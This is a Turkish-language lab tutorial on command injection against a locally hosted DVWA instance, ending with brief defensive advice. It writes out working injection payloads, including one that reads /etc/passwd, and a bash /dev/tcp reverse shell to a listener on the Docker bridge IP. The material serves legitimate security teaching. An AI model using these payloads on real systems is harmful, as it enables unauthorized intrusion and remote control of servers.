Command injection bir web uygulaması kullanıcıdan aldığı girdiyi filtrelemeden direkt işletim sistemi komutuna ekliyorsa oraya shell komutu yazabilirsin demek. Ping formu, IP alanı, arama kutusu, parametre vs. olabilir. Uygulama o komutu çalıştırır sunucu senin yazdığını yapar.
Docker ve DVWA Kurulumu
Gerçek bir sisteme değil kendi kurduğumuz zafiyetli uygulamaya test yapacağız. DVWA (Damn Vulnerable Web Application) kullanacağız. Docker ile çalışır.
Kurulum:
sudo apt update && sudo apt install -y docker.io
sudo service docker start
DVWA’yı başlat:
docker run --rm -d -p 80:80 vulnerables/web-dvwa
Tarayıcıdan:
http://localhost/login.php
adresini aç.
Giriş bilgileri admin ve password. Setup sayfasında Create - Reset Database butonuna bas. Sonra tekrar giriş yap.
Sol menüden Command Injection sayfasına geç.

Normal Kullanım
Input alanına 127.0.0.1 yaz Submit’e bas. Ping çıktısı geliyor. Sunucu arka planda şunu çalıştırıyor:
ping -c 4 127.0.0.1
Form beklenen işi yapıyor.

İlk Payload
Input alanına şunu yaz:
127.0.0.1; whoami
Submit sonrası ping çıktısının altında tek satır: www-data

Noktalı virgül shellde “birinci komut bitti şimdi ikinciyi çalıştır” demek. Uygulama girdini olduğu gibi komuta yapıştırdığı için iki komut oldu.
Başka Operatörler
Aynı mantık farklı karakterlerle de çalışır:
“&&” birincisi başarılıysa ikinciyi çalıştırır. “|” birincinin çıktısını ikinciye yollar.
127.0.0.1 && id

127.0.0.1 | hostname

127.0.0.1; cat /etc/passwd

Reverse Shell
Tek tek komut göndermek yerine interaktif shell alalım.
Kali’de dinleyici aç:
nc -lvnp 4444

Burada önemli bir detay var. DVWA bir Docker containerının içinde çalışıyor. Container kendi izole ağında çalışıyor ve 127.0.0.1 dediğinde Kali’yi değil kendini kastediyor. Kali’ye dönüp bağlanması için docker bridge IP adresini kullanman gerekir.
Şu komutla IP adresini bul:
ip addr show docker0 | grep "inet "
Genelde 172.17.0.1 çıkar.
Tarayıcıdaki input’a şu payload’ı yapıştır:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
Submit’e basar basmaz nc penceresine shell düşüyor:
id komutu çalıştırınca uid=33(www-data) dönüyor. Artık sunucudayız.

Korunma
Kullanıcı girdisini direkt shell komutuna koyma. “escapeshellarg” ile gelen veriyi kaçış karakterlerine çevir. Mümkünse sistem komutu yerine dil içi kütüphane kullan. En iyisi regex ile formatı sıkıca kısıtla. IP bekliyorsan sadece IP formatına izin ver gerisini reddet.